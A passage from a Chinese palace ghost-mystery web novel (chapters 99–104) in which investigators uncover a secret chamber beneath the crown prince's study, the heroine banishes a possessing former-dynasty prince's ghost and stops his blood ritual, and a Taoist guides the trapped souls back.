他又沿途问了一下守门护卫,得知她的去向后,大概料到她去的是内苑花园。
于是,任风玦一路往千秋园而去。
才出一道角门,迎面却走来一道熟悉的身影。
他定睛一看,正是夏熙墨,便立即伫立,等着对方靠近。
哪知,夏熙墨只是抬眸掠了一眼,似乎并不相识,竟直接擦肩而过。
“……”
任大人明察秋毫,立即就发现了不对劲,他见夏熙墨去的方向是咏清斋,当即跟着折返了回去。
对方步伐莫名快得出奇,等任风玦再次回到书斋门口时,又不见了她的身影。
咏清斋的出入口便只有一个。
所以…
任风玦略一迟疑,不等内侍通报,便直接踏入斋内。
第99章 密室
进门后,任风玦却愣了一下。
室内已不见太子身影,更不见夏熙墨。
只有一个内侍正在收拾打扫桌面。
“小侯爷?”
对于他去而复返,小内侍显然有些迷惑:“您还有什么事吗?”
任风玦问:“我那随行小厮方才可曾回来过?”
内侍答:“回小侯爷,不曾见过。”
刚才明明是见她往这边过来的…
怎么会没见过?
“那太子殿下呢?”
任风玦扫了一眼整座书斋,心下疑虑更深。
小内侍却答不上来,只道:“奴也不知,见此处无人,奴才进来打扫的。”
毕竟贵为东宫之主,要走要留,确实不可能会跟宫人有所交代。
任风玦心想,方才和夏熙墨擦肩而过时,便感觉到对方眼神不对。
以之前经验来看,此时的她,极有可能是被什么东西附体了。
“她”脚步匆匆走向咏清斋,必是为“太子”而来。
思及此,任风玦内心也有几分焦急。
咏清斋内只有一道出入口,既不见踪影,那么便只有一种可能——人还在这间书斋内!
他不再多问,却也没打算走,反而自顾自四下“参观”了起来。
小内侍见状,只当看不见,继续垂首擦拭桌椅。
咏清斋即为太子书房,不仅处地清幽,近未央宫殿,立于书窗边,还能远眺千秋园内的烟波湖畔。
斋内设施倒还是延续着昔日端王府内的轻简,既无名家藏品,也不见什么稀世之珍。
但有一座极高极阔的书橱,上置书卷,至少百余。
任风玦其实一早就注意到了这座书橱,因为它实在高大瞩目,背后还有厚重的宫墙,会让人忍不住联想,是否可能藏有什么…
东宫始建于前朝,已历经几代太子。
而在本朝太子册封之前,此处已空了许久。
先前,任风玦与太子赵礼说的那件“前朝轶事”,可并非道听途说。
他幼时便与众皇子及宗室子一同进宫学,授学先生虽为本朝太傅,却曾辅佐过几代君王,是个难得的贤才。
太傅风趣幽默,擅作诗填词,每每兴起时,就会抓人替他研磨。
下笔前,须先喝些小酒助兴,一旦文思泉涌,可就管不住嘴了。
任风玦年少时爱听故事,总是自告奋勇去替先生研磨。
待先生醉意微醺时,便缠着他讲一些扑朔迷离的旧事。
方才与赵礼所讲的,有一半就是从先生口中听来的,为的就是试探“赵礼”的反应。
根据京中传言,江医令亲身经历,以及王总管所述。
他猜测,眼下的“太子”只怕早已不是真正的赵礼。
而极有可能——是密室之中被困而死的前朝太子鬼魂。
此时,望着那沉甸甸的楠木书橱,任风玦的脑海里,又浮现起宫学先生曾说过的一件宫闱秘史。
东宫有一间密室,为前朝太子私设。
宫乱之后,太子失踪,前朝皇帝突然派人密查东宫,从而发现一间密室。
没想到,里面竟躺着一具死去多时的女尸。
至于女尸身份,先生倒保留了一些清醒,选择秘而不宣,只说了一句。
“大逆不道之事,小侯爷还是不听为妙。”
想到这里,任风玦又将书橱上的摆设细细看了一遍,见并无异样,闭目思索片刻后。
忽然间,想到方才与“太子”谈话时,他所坐的那把椅子…
他睁开眼后回头,试着挪动椅子朝向,书橱立即悄无声息自两面而开,露出一道隐蔽的小门。
正在收拾的内侍抬头看了一眼,被吓得不知所措,任风玦却是想也不想,就往门内走去。
——
赋楼,密道。
余琅终于得以提灯前往密室内一探究竟。
昨日他们几个从里面出来后,个个面色古怪,却是一句话也不肯说。
余少卿很是郁闷,恨不得撬开他们的嘴。
进密室不带他也就算了。
连里面是什么情况也不肯说一下。
他是一点知情权都不配有吗?
所幸今日颜道长一来赋楼,就声称要再去一趟密室。
余琅听后,当即提着灯自告奋勇就来引路了。
这回没有任大人在,谁也不可能拦住他!
“敢问道长,昨日那密道之内到底发现了什么?”
余琅边走边忍不住回头问。
颜正初却沉吟了一声,才回了
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他两个字:“尸骨。”
因不知阴墓中的具体情况,且尸骨又在墓中待了几十年。
他提议暂且不动,避免有异。
近来余琅见过尸骨太多,已是见怪不怪,他又问:“就没有其他发现?”
颜正初却有些心不在焉,只用鼻子淡淡应了一声。
正是没有其他发现才觉得诡异。
不然也不会再跑一趟。
密道很快就走到了尽头。
余琅见那刻满符箓的石门,一阵称奇,别的不说,倒还真让他涨见识了。
他提着灯微微俯身,正待细看,颜正初忽将石门一推。
一道狰狞的白骨迎面倒了过来,直接就跟余少卿来了个亲密接触。
“?”
余琅虽不惧尸骨,但跟这东西离那么近,心里如何不发怵?
他顿时浑身寒毛直立,正要将此物推开,却见一团黑气从白骨口中涌出。
“道长,有鬼!”
颜正初眼疾手快,伸手连忙将他往后拉。
黑气却像是长了眼睛一般,就朝余琅袭来。
这让颜正初吃了一惊,当即打出一道符咒,这才将黑气驱散。
余琅躲在他身后,见尸骨倒在地上,顷刻间就化作灰烬,不由得吃了一惊。
他愣神半晌,才想起问:“方才…那黑气是鬼?”
“只是一缕煞气。”
颜正初说着,面上神情却愈发古怪。
心下推测,这煞气能附在尸骨上经久不散,且还具有攻击力,可见不是来自一般的恶鬼邪灵。
他与赋楼白掌柜交过手,对方虽厉害,倒显然还没厉害到这种地步。
是曾经被封印在这阴墓中的恶鬼吗?
那前来此地打破符咒的又是谁?
颜正初正思索着,身后密道里却传来急促的脚步声。
接着,便闻见有人气喘吁吁来报:“少卿,通天阁…通天阁内有鬼!”
此言一出,颜余二人当即往密道外跑去。
然而,等他们赶到时,却只看见一地血红的脚印。
看样子,那“东西”是刚从池里爬出来的…
颜正初掐指算了算,前后一联想,忽然一拍脑门。
“失算了,此处并非炼制‘阴阳煞’之地!”
第100章 重生
“明珠,你若是喜欢这具身体,那我明日便废了承华殿那个女人!”
幽暗而宽阔的密室内,弥漫着一股浓郁的鬼气。
案上烛火森森,映照着男人的脸。
明明是一副温润的眉眼,但眼神里却透着阴狠与邪气。
他身旁的女子,则微微笑着,眸光温柔,说道:“阿宸,我很喜欢这具身体,我想用这具身体,永远待在你身边。”
但说着,她忽然又担忧起来:“可这具身体里的魂魄有些怪,不像是普通人,我不知有没有把握能…”
男人立即皱眉打断她,“不怕。”
他指着不远处的“血阵”,幽幽开口:“刚好还差最后一缕至阴之魂,待炼成这‘阴阳煞’,孤就会趁乱杀了大亓的皇帝,复我启国。”
“等我登基做了皇帝,便封你为皇后,到时候,整个人间都是我们说了算!”
“你我魂魄不死不灭,千秋万世,都能永享宝座。”
他开始肆意大笑,笑声在整间密室内回荡着。
身旁女子,则轻轻依在他怀里,满脸眷恋:“只要能留在阿宸身边,做不做皇后,我都不在乎。”
男人却正色道:“你必须要做我的皇后,这一次,没有人能够拦我!”
听着他的话,女子忍不住轻抚他的眉眼,那些早已尘封的旧事,则开始在脑海中纷至沓来。
那时国号为启,天家复姓慕容。
身为皇长子,慕容宸从小就被寄予厚望。
他生母早逝,自小养在皇后宫中。
但皇后并不喜他,待他十分严苛。
因此,即使身为当时唯一的皇子,他在宫中的日子,也并不幸福。
才刚刚记事的孩童,就须日日苦读书,勤习武,不得有一时的松懈与怠慢。
可就算拼尽全力,皇后也从未夸过他一句。
宫中陆续有其他妃子诞下皇子,父皇也渐渐不再将重心放在他的身上。
而就在他七岁那年,多年未有身孕的皇后,竟为天家诞下九皇子。
自此,皇后更不会正眼瞧他。
慕容宸七岁生日那天,帝后却忙着给九皇子百日抓周。
宫人无人顾及到他,还是乳娘亲自给他端来一碗长寿面。
那是一个春日,吃完长寿面的皇长子忽然任性了一回,他没有听话乖乖待在书房里读书写字,而是躲开内侍,独自跑到御花园。
他躲在一棵树下,将心里话统统说了出来,甚至,祈望树神能转告给早逝的母妃。
然而,话才说完,假山后便传来一道声音,问他:“殿下想要什么生辰礼物?”
小小孩童还以为是树神显灵,忙道:“我想要,母妃亲手绣的香囊。”
弟弟们都可以挂着母妃亲手绣的香囊,但他没有。
假山后的“神”欣然同意了,告诉他,记得两日后黄昏来取。
慕容宸高兴不已,并在两日后黄昏,如约而至。
只见假山后的一块石头上,果然放着一只气味独特的香囊。
这让年幼的慕容宸以为,那真是生母在天之灵,以此来慰藉他的生辰礼。
直到不久后,一次家宴中,父皇新近纳入宫中的年轻才人,从他身旁经过,他忽然闻到了一股熟悉的幽香,与腰间香囊一致。
于是,便忍不住顿足,多看了那才人两眼。
偏偏对方也有所察觉,竟冲他回眸一笑。
他们之间,并没有当面说过话,但那笑容与香味,却开始常常在梦中出现。
一晃过了三年,三年间的每一次生辰日,慕容宸都会去当初那棵树下求生辰礼。
而那藏在假山后的“神”,也会如约而至,满足他的愿望。
终于,到了他十岁生辰那天,他许下的愿望是能够见一见她。
假山后的“神”,却沉默不语。
慕容宸按捺不住,直接冲到假山后,却差点与对方撞上。
那一刻,他如愿以偿。
原来一直默默藏在背后,满足自己心愿的人,正是父皇的妃子——阮才人。
后来,慕容宸才知道,自己七岁那年的生辰日,阮明珠才刚刚进宫,因不想侍奉年纪与自家父亲相仿的老皇帝,她也在御花园内暗自伤心。
直到她看见一个小男孩也躲在树下自言自语,那身形背影,竟与自家弟弟很是相像。
阮明珠听了他的话后,更加想念家中父母及幼弟,便心生恻隐之心,这才答应要给他生辰礼。
宫中岁月漫长,两人因缘际会,开始时常在御花园内相约见面。
阮明珠俨然将他当作自家弟弟一般宠着,会送亲手做的糕点,香囊,甚至衣鞋。
慕容宸也在一天天长大,十五岁那年,他被册封为太子。
册封当日,他想见的第一个人便是阮明珠。
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>阮明珠亦为他感到高兴,祝贺的话还未说出口,少年却一把抱住了她。
这些年的密切联系,已然让二人之间,生出别样的情愫。
可慕容宸却清楚知晓,只要自己一日做不成皇帝,便无法光明正大与明珠在一起。
但随着年岁增长,身为太子的慕容宸,却终究资质过于平庸。
在位几年,即便勤政,却并未做出几件像样的事情来。
反倒是身后几个弟弟,哪一个都有超越自己的可能。
特别是最小的幼弟,不仅为皇后之子,且聪颖过人。
为稳住东宫之位,慕容宸只能手段用尽,甚至,不惜暗地里残害手足。
不仅如此,他还在东宫私设密室,买通宫中婢女护卫,多次接阮明珠到东宫私会。
正所谓纸包不住火,他的所作所为,终究还是被皇帝知晓。
宫乱之后,是皇帝下密令将他关在那间封印恶鬼的密室内,被活活困死。
之后,皇帝又下令彻查东宫,搜查失踪的妃子,最终却在一间密室内,发现了阮明珠的尸体。
她已自缢在密室中。
本以为,这便是他们的结局。
可阮明珠死后,因想等慕容宸归来的执念过深,魂魄便一直困在了密室中。
也不知过了多久,尘封的密室之门忽然被打开,走进了一个眉眼陌生的男子。
他不仅能看见明珠的鬼魂,并展开双臂,对她说了一句。
“明珠,我回来了。”
这些往事,让阮明珠一阵唏嘘。
如今的慕容宸,已借当今太子躯体重返人间,他当然希望,昔日不得公之于众的爱人,也能与自己一起。
他不知从何处得来的方法,以“养魂珠”来养阮明珠的魂魄。
**嗜血,吸食怨气。
只有成为“恶鬼”,才有能力吞噬魂魄。
只有夺舍活人躯体,才能不露破绽,行走于阳光之下,与常人无异。
原本,她差一点就能成功夺舍太子妃的身体,却遭怨灵干涉。
不过,那具身体一直在作践自己,阮明珠已经隐隐嫌弃。
所幸现在,她找到了更喜欢更合适的躯体…
望着那“血阵”,阮明珠已迫不及待想要重返人间。
但这时,她却听见身体里有一道声音在冷冷说道:“我的身体,可不是你想要,就能得到的。”
第101章 血阵
“阿宸!”
阮明珠忽然惊叫一声,满脸惊恐:“我听见,她在身体里说话了。”
慕容宸却并未听见声音。
他拉着阮明珠的手,宽慰道:“你能附在她的身上,便证明她魂识已被封住。”
“现下只需要入‘血阵’,夺舍她的身体,逼出她的魂魄,就能彻底取代她!”
阮明珠闻言,虽然害怕,却知道只有这么做,才能重新“活”过来。
她等了五十年,已经不想再等。
所谓的“血阵”,便是炼制“阴阳煞”的阵法。
除融入七滴精血,十四缕至阴之魂,以及二十一缕生魂之外。
底下还须二十八具枉死之人的尸骨,以及一口“鬼神涎”,所化出的血水。
这间密室上方,是东宫千秋园,恰为一块至阴之地,既能养尸,亦能锁魂。
阴气聚于顶,相当于在阵法上方布下一层结界,不受阳间正气干扰。
眼下,“血阵”只差一缕至阴之魂就能启动…
此时的阮明珠,既觉得害怕,亦觉得紧张。
她走到血池旁,望着血水在“鬼神涎”的作用之下,不断沸腾。
阴魂与阳灵,在池水中相互厮杀吞噬,一张张模糊的鬼脸,尽显狰狞之色。
阮明珠索性闭上眼睛,可就在她准备投身入池时,耳边忽然传来一声冷笑。
一股力量吸附着自己,使她被迫僵滞在半空。
接着,魂魄猛然从躯体中弹了出去,猝不及防投入池水之中。
面对新入阵的魂魄,底下的“东西”自然照顾有加,几乎一拥而上,瞬间将其吞没。
见此一幕,慕容宸面色大变,立即惊叫了一声:“明珠!”
等他冲到池水边,早已不见阮明珠鬼魂的踪影。
显然,她已与阵法融为一体。
慕容宸脸色铁青,怒而望向一旁的夏熙墨,周身充斥着阴煞之气,“你到底是什么人?”
无忧本就在渡魂灯内为她捏了一把冷汗,此时忍不住出声道:“这人身上有一股气息十分特殊,并不属于他自己,你要小心应对。”
夏熙墨当然也感受到了,但她并不放在眼里。
从阮明珠附身后的回忆中可以确定,此人正是前朝太子慕容宸。
那具被困死在赋楼密室中的尸骨,正是他。
只是不知,究竟是什么东西将他从里面放出来,又赋予了他超越一般“恶鬼”的能力。
不然,他也不能这般轻易就夺舍了本朝太子赵礼的身体。
“这话应该你问自己。”
夏熙墨冷冷反问了一句:“生前作恶,死后作乱,还想做人间的皇帝?”
“痴心妄想。”
听了她的话,慕容宸愈发怒不可遏,他身影一晃,就到了夏熙墨跟前,伸出那只煞气萦绕的手,就要扼她的喉。
岂料,还未触及到对方,便被一股诡异的牵制力绊住。
接着,只见面前之人轻轻抬手一挥,他便被打入了池水中。
但血阵中的魂魄显然惧他,见他入水,纷纷四下逃窜,并不敢像先前那样附过来。
夏熙墨猜想,应该是他身上那股“邪气”所致。
慕容宸一击落败,才知面前这“小厮”装扮的女人不好惹。
他浑身浸在血水之中,反而狷狂一笑,忽然间,振臂一挥,池底下的阴魂化作一缕缕黑气,萦绕在周身。
血水在他面上流淌,将那双眼睛,也映成了猩红色。
无忧忽然提醒道:“他这是要借阵法的力量对付你呢!”
“虽说这阵法未成,但却极其阴邪,搞不好还会…影响到外面的活人!”
它话音刚落,整间密室便立即抖动了起来。
夏熙墨正要说话,眼角余光却瞥见密室入口处多了一道身影,却是任风玦。
她略一分心,便听见无忧喊道:“小心!”
回眸望去,竟是一颗血肉模糊的头颅迎面飞来。
虽说不具什么杀伤力,但却实在恶心。
夏熙墨皱眉,手指正要运力,却被突如其来的一只手环住腰身,往后一带。
接着,一道颀长的身影,直接挡在她跟前。
任风玦倒是动作敏捷,反应极快,一个纵身借力跳过来不说,还顺手捞起案上烛台,以此为“武器”,直接将那颗头颅打落在地。
因少了一只烛台,室内顿时暗了一暗,他回头望去,几乎看不清夏熙墨的神情,“你没事吧?”
夏熙墨没答他的话,反而吩咐:“
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先闪一边。”
“……”
任大人活了将近二十一年,这四个字每一字都听过,但连在一起,闻所未闻。
他正要说话,密室内又是一震,所有灯火跟着应声而灭。
接着,却是头顶上方传来悉悉簌簌的异动。
夏熙墨抬头看了一眼,再联想到上方是千秋园…
无忧推测道:“听这动静,倒像是有什么东西从土里爬出来了,难道是…”
“尸体。”
夏熙墨冷冷把话接了过去。
千秋园底下埋着那些被阮明珠杀死的尸体。
现下,大概是慕容宸借着“血阵”之力,利用那些阴魂起尸了。
无意识的阴魂,附在尸体上,将会无惧阳光,说不定会在东宫内大开杀戒…
夏熙墨不料事情会变得如此麻烦,连忙向一旁任风玦吩咐道:“外面乱了,你出去救人。”
他体内气息特殊,那些阴魂伤不了他。
但是,其他人…
无忧立即道:“阴魂附了尸身,眼力会削弱,若遇到这些阴尸,不要发出动静,被发现了,尽量闭气。”
夏熙墨虽不知这话是否可信,但还是快速转述了一遍。
任风玦听得一愣,但也不多问,选择相信,只道:“那你…”
“我能解决。”
她回答得过于坚定。
任风玦虽不放心,但情况紧急,不容推托。
这些时日发生的事情太多。
虽早已察觉到她身上的古怪之处,但他还是打心底选择信她。
这种信任,在迄今为止他所认识的人当中,都不曾发生过。
她算是唯独一个。
“好。”
任风玦应了一声,便果断往密室外走去。
见他离去,夏熙墨瞥了一眼黑暗之中,眸光清冷,眼尾处,一抹殷红印记若隐若现。
下一秒,她身影疾如闪电,飞至血池上方。
慕容宸惊诧抬头,只见半空的身影,魄力十足,浑身还隐隐散发着一股幽冥之气。
他虽未到过阴司,却也听说过幽冥之主的可怕。
此时,与她目光对视,竟是一颤。
夏熙墨展开十指,几乎一字一顿地问他:“你是自己滚出来,还是要我动手?”
第102章 阴尸
任风玦走出咏清斋。
白日晴光照眼,竟让他一时有些无法适应。
忽然间,一名小内侍急匆匆跑来,边跑边喊道:“有…有鬼!”
“千秋园的那些尸体…跑出来了!”
夏熙墨猜得不错。
千秋园内果然有异变。
任风玦当即往园子赶去,路上又碰到几名跌跌撞撞逃跑的宫女。
待他赶到时,恰好撞见几名落荒而逃的东宫侍卫。
唯有那侍卫总管正手持腰刀,立在几具尸体跟前。
他虽立得笔挺,却也能看得出,心里实在害怕,握刀的手,都有些颤抖。
“都不准退,随我诛杀这些鬼物!”
见下属胆怯而逃,侍卫总管忍不住大声呵斥。
但遇到这种情形,又有几人能保持淡定?
根本没人听他。
反倒是那些阴尸因他这声动静,当即扑了过来。
任风玦见此人倒是胆壮心雄,不免心生几分欣赏。
他敛着声气悄然靠近,一把捂住了对方口鼻,并冲他摇头示意。
阴尸果然一下子就失去了攻击目标,停滞片刻,果真走了。
任风玦见它们走远,这才按照夏熙墨阐述,轻声说道:“这些阴尸,眼力不好,以声辨物,尽量不要发出声音,必要时,掩住口鼻。”
侍卫总管见是任风玦,显然很是诧异。
任大人才松开口,他便忍不住问:“小侯爷为何在此?”
然而,声音刚落,那些刚刚走开的阴尸立马又回头扑了上来。
“借刀一用。”
任风玦目光一凛,接过侍卫总管手中刀,一个疾步上前去,直接一刀砍掉一个阴尸的脑袋。
但诡异的是,那头颅落地滚出去后,又自行滚了回来。
任大人见状,毫无犹豫就是一记飞踹。
可就在他的身体,碰到头颅那刻,那断头阴尸无故瘫软在地,化作一缕黑雾逃窜而去。
见小侯爷如此勇猛,侍卫总管满目崇敬之意。
心道,不愧是“活阎罗”,连鬼都能治!
这时,其他阴尸好似也受到影响,开始相继往园中退去。
忽闻一道声音调侃着:“本道长第一次来东宫,就能见到这玩意儿,还真是稀奇!”
来者正是颜正初,只见他当即自口袋掏出一把黄符所折的纸鹤,向尸群中抛去。
随即,口念法诀,振振有词。
众尸在符咒作用之下,当即瘫软在地,化作几缕黑雾,迅速退至千秋园。
颜正初正要去追,任风玦却拉住他,将手中刀归还给身旁侍卫总管后,吩咐道:“此处就交由你来处置了。”
接着回头正色道:“颜道长,你且随我来。”
——
密室内。
夏熙墨抬起纤长十指,眸光微烁,眉心印记显露,眼尾处则愈发红艳。
她一般不会轻易动用“骨术”,只因此术常常伴随着杀念。
每当眉心处印记加深,便是入魔之征,心中杀意翻腾时,就算想要收手都不行。
此时,那一根根青葱玉指,看似纤细柔美,但每展一指,血池之中的“人”,便会感受到身与魂,皆被一股力量紧紧束缚。
根本不容挣脱。
五指相继展开后,任由慕容宸如何挣扎,都使不出一点力。
连带着那股附在他魂体上的“邪气”,也被封锁,没有出路。
“你…对我做了什么?”
尽管此时的他,拥有血阵加持,却也如同待宰羔羊。
面前之人,居高临下望着自己,面容晦暗不明,但慕容宸却隐隐从那双眼睛里,看到了自己的结局。
死。
是再死一次。
“不!”
慕容宸不甘心。
明明这“阴阳煞”差一步就能成了!
这天下,差一步就唾手可得!
还有他最在意之人,差一步也能“重生”!
可偏偏就是差了这么一步!
他无比愤然,煞气从眼睛口鼻中喷涌而出,声势十足,却未能对半空中的人,造成一点伤害。
世间恶鬼再“恶”,又哪及九幽囚魂一半?
夏熙墨冷冷俯瞰:“给过你机会了。”
正待展开另外五指时,底下之人忽然咆哮一声,魂魄总算离了体。
然而,脱离束缚的恶鬼,却不打算认输。
它化作一团黑雾,朝着半空中的夏熙墨袭来,看阵势,是要与她同归于尽。
这黑雾浓得像是一团化不开的墨,瞬间
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就将她的躯体包裹严实。
见她并未进行反击,慕容宸只道自己得逞。
霎时间,猖狂的狞笑声不绝于耳。
只是,他才得意了片刻,便感受到魂体上真实的灼痛感。
一道红影如火如荼,在黑雾之中若隐若现。
慕容宸先是如同被火焚烧,接着,是魂体被一寸寸撕裂…
恍然间,他又像是被关进了那间漆黑的密室内,四周是死一般的寂静。
在无尽的恐惧与绝望的折磨之下,他只能用抓挠着石门。
“父皇,你放我出去!我不想死,我不想死!”
而此刻,那种感觉又来了…
慕容宸痛苦嘶吼。
下一秒,一道火红身影穿透黑雾,悬浮在半空中,灼热的红,如同烈焰,直将整间密室,映照如同白昼。
黑雾溃不成军,直线坠入血池中,很快便与底下那些阴魂融为一体,分不清彼此。
夏熙墨耗用太多魂力,眼见也要跌入池子,却被渡魂灯托了一把,送至岸上。
无忧忍不住出声唠叨:“地君给你的魂力可不是这么用的啊!万一遭到反噬了可怎么办?”
夏熙墨一口气没恢复,软软倒在地上,却冷冷回了它一句:“我喜欢。”
得得得。
还真不能跟她讲什么道理。
天王老子来了,估计都要被她呛上两句。
无忧正无话可说,却听见不远处传来脚步声。
接着,任风玦与颜正初的身影相继出现在密室门前。
任大人一眼瞥见地上人影,脸色顿变,连忙上前。
“夏姑娘?”
他正伸手,想要查看情况。
对方竟先一步紧紧抓住了他的手。
任风玦瞬间明白了什么,一手与她紧握,一手托着她的身体,顺势揽入怀中。
尾随而至的颜正初扫了二人一眼,正要说话,却又立即被一旁血池所吸引。
“原来炼制‘阴阳煞’的血阵竟是这样?!”
“‘阳灵’就是生魂?那吃生魂的怪物又是什么?”
“除此之外,我是不是还漏了一样东西?”
颜道长一边喃喃自语,一边蹙眉深思。
一具尸体却悄无声息地从血池中浮了上来。
第103章 阴差
从池底浮上来的,是太子赵礼的身体。
侵占他身体的“恶鬼”已经退散,此时的他,便成了一副空壳。
池面上有不少只鬼手,都在觊觎这具身体,想要趁虚而入。
颜正初见状,便俯身将赵礼从池中捞了起来。
而就在这时,整间密室开始微微震动。
但这次,动静不在顶上,而在脚下。
夏熙墨才恢复了一些气力,闻声不由得睁开眼睛,想要观察情况。
任风玦环抱她的手,却紧了几分。
他回头望去,见不远处的颜正初似乎在与“人”交谈,可黑暗之中,除了淡淡一层烟雾之外,根本什么都看不真切。
夏熙墨却不同,她看见了阴司使者,携带着阴差而来。
大概是来处置这池中魂魄的。
“还知道挑时候来。”
她冷哼一声,导致身侧的任风玦还以为在说自己,不由得微愣。
他正要解释,夏熙墨往转头看向他,“没说你。”
“……”
那边,颜正初正在与勾魂使者客客气气交谈着,看样子,已不是第一次见。
“小道正愁这一池魂魄无处安置呢,还好使者来了。”
勾魂使者身形高大无比,披黑袍,执魂牌,一眼望去,根本难以窥见真容。
它轻轻招手,身后一群阴差便持魂锁上前来。
“阴魂本座且收走,生魂寿命未尽,烦请小道长指条‘明’路。”
颜正初依然一副恭敬的样子,“好说好说。”
他又趁机问道:“敢问使者,这‘血阵’内除了阴灵,阳灵,精血之外,可还有一关键之物?”
勾魂使者“看”了他一眼,不怒自威。
“小道长问这个做什么?”
颜正初亦是不卑不亢,“只是因我师祖手札上并未记载详细,我想替他老人家问问清楚。”
勾魂使者却一笑,“告诉你也无妨,你说的这三物缺一不可,血水乃尸骨所化。”
“至于因何而化,是因为一口‘鬼神涎’。”
颜正初惊了惊,“鬼神?”
勾魂使者收了笑意,却道:“只能透露这么多。”
颜正初连忙问道:“还有一事…”
“嗯?”
勾魂使者隐隐不悦,周身所散发的寒气,直让人打哆嗦。
颜正初也胆颤,但这种机会不多,他必须得问。
“关于我那位小师叔任曜,他…魂魄既未入轮回,亦不在人间,是否还在阴司?”
一口气问完。
勾魂使者却“瞪”了他一眼。
只一眼,颜正初立即惊坐在地,浑身战栗。
“大胆!”
勾魂使者震怒之下,阴风呼啸,“本座记得,十年前就跟你说过了!”
十年前,颜正初仅只有十四岁,却做了整个云鹤山都无人敢做的惊人之举。
他以“引魂术”,引自身魂魄离体,擅闯阴司,想要问出任曜魂魄踪迹。
当时,巡逻鬼差发现生魂闯入,一时之间,惊动整个阴司。
地君得知后却会心一笑,着勾魂使者前去送客。
当时,半大的少年可谓初生牛犊不怕虎,比现在硬气得多,张口就道:“你们把师叔还我!”
勾魂使者不语,提他出阴司,扔回云鹤山,并丢下一句:“不准再来,不准再问。”
此时的颜正初,可没有当年的“虎胆”了。
被勾魂使者这么一吓,他立即认了怂。
“行行行,使者不肯说,必然是上头的意思。”
勾魂使者冷哼一声,却道:“你师父名为天机**,难道不知,天机不可泄露?”
“有些事情,时机成熟,自有结果。”
颜正初连忙点头称是,私心还想再问些什么,却又被“瞪”了一声。
“不准问。”
“……”
血池中的阴魂,已相继被阴差锁住。
勾魂使者挥动魂牌,正要离去,却闻一道清冷的声音幽幽响起。
“慢着!”
此为魂语,以魂力传递,凡人不可闻。
即便是颜正初,也须得借助术法,才能知悉一二。
此时,他毫无察觉。
勾魂使者听见这声音,步子一顿。
它清楚知道,这位可不好惹。
夏熙墨已逐渐恢复魂力,看似身未动,实际却在说道:“这些枉死之魂都让你们带走了,我渡什么?”
勾魂使者:“此乃地君之意。”
夏熙墨根本不吃这套,“少拿地君压
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我,至少给我留一个。”
“……”
勾魂使迟疑了一下。
心知自己要是不依,对方必然翻脸。
而真要打起来,有没有胜算不说,回去还不好交代。
它当即道:“既如此,上面那缕怨灵,就交由墨骨姑娘了。”
夏熙墨淡然应了一声。
勾魂使竟在原地立了一会儿,没有听见动静,这才携着阴差而去。
密室内少那股阴寒之气,颜正初不由得朝双手呵了一口气。
真冷啊。
想不通,自己当年**还没长齐的时候,是怎么有胆子跑到阴司那种地方去的。
这时,密室入口处传来动静,是余琅提灯进来了。
因他到来,幽暗的室内总算亮堂了起来。
夏熙墨离了任风玦的怀抱,站起身来,后者则扶了她一把。
余琅满怀好奇进室内,却又见一池血水,当即干呕不停。
天老爷,怎么尽让他撞见这种阴邪的东西?
他无奈扶额自语:“这底下不会又有尸骨要捞吧?”
任风玦则走到太子赵礼身侧,向颜正初问道:“太子…他是否还有救?”
颜正初看了一眼池中密密麻麻的生魂,沉吟道:“得看他的魂魄是否还在此地。”
说着,拿出随身携带的朱砂法笔,沿着池边画符。
生魂一旦离体,会陷入混沌之中,若无人引路,将四处飘散,变作游魂。
眼下这些生魂,被困在阴邪阵法中,虽不会飘散,却也完全没有意识。
受符咒影响后,它们被吸引着,才慢慢聚到池边来,化为人形。
颜正初望着这一缕缕面容茫然的魂体,轻叹了口气,随后才不情不愿问道:“姓甚名谁?家住何方?”
一旁余琅虽看不见鬼魂,却也看得津津有味。
过了没一会儿,又忍不住问一旁的任风玦:“大人,我刚进来前,听他们说,外面那些尸体会动,是不是真的?”
任风玦则尽量与血池拉开距离,避免自己“吓”到它们。
他睨了余琅一眼,却吩咐道:“这底下尸骨的身份,还劳烦余少卿连同赋楼那些,一同上报。”
余琅嘴角抽动,恨不得立即夺门而出。
第104章 还阳
替生魂引路,虽无难度,却是极其繁琐之事。
颜正初耐着性子问了一圈,将这些生魂的姓名及归处,画在纸鹤上,为其引路。
耗费大半个时辰,才将魂魄相继送走。
终于,只剩下最后一缕。
颜正初眼皮都懒得抬:“姓甚名谁?家住何方?”
生魂答:“我…不记得了。”
“嗯?”
颜正初抬眸看了一眼,竟发现这缕生魂连人形都是模糊的。
看样子,离魂已有很长一段时间…
颜道长忍不住大胆猜测——这极有可能就是太子赵礼的魂魄了。
但棘手的是,他若连自己是谁都记不清的话,就算魂魄归体,也会一直处于昏睡状态。
所以…
“小侯爷…”
颜正初喊了不远处的任风玦一声:“太子生魂找到了,不过,得请一位至亲,抑或是至爱之人,唤醒他生前的记忆,才能还阳。”
任风玦一听,立即就想到了帝后。
但二人身处深宫,惊动他们可不是一件小事。
所以只能是…
“我去请太子妃。”
任风玦正要去,一旁余琅立即跟上,并小声嘀咕:“不是说太子妃与太子不合吗?请她来可有用?”
任大人立即正色:“不知内情,不可置喙。”
闻言,余琅委屈得很。
难道他就不想知道内情了吗?
任风玦走出密室,咏清斋外倒是十分热闹,王总管正在训人。
见他走出来,他又立即迎了上来,焦急问道:“小侯爷,太子他如何?”
任风玦迟疑了一下,才道:“并无大碍。”
王总管信任他,立即松了一口气。
又将他拉到一旁,小声说道:“关于太子殿下的事,老奴已经知晓了…”
“跟您一同来的那位姑娘,都问清楚了。”
听他这么一说,任风玦倒颇有些意外。
他环顾四周,并不见夏熙墨身影。
方才颜正初在底下忙活时,她再次悄然离开了,并未吱声。
“你可知她从密室出来后去了哪里?”任风玦问。
“她刚刚才问了太子妃娘娘的情况,大概是去承华殿了。”
王总管说着,又问道:“可需要老奴替您引路?”
任风玦立即道:“有劳了。”
——
承华殿内。
唐月琅在半梦半醒之中,做了一个悠长的梦。
梦里,她回到了郡公府,还是小女孩的模样。
花园里花木扶疏,郁郁葱葱,阳光肆意照着,人也无忧无虑。
她坐在秋千上荡漾着,衣裙上绣满了自己喜爱的花儿蝴蝶。
小小的玲珑在身后用力推着她。
她高兴得大喊:“玲珑再推高一点!再高点,我就能看见院子外面了!”
“小姐,我已经尽力了,手好酸啊。”
“再推一会儿嘛,等我玩够了,换你。”
“小姐每次都哄我,哪回真换过?”
“这次真换,我数一个数,你再推我十下好不好?”
“……”
“五下也行!”
她开始大声倒数:“五、四、三、二…”
数到“一”时,秋千停了下来。
她正想再撒撒娇,身后却传来一道哽咽的声音:“小姐,往后没有我,你也要这样开心自在才好。”
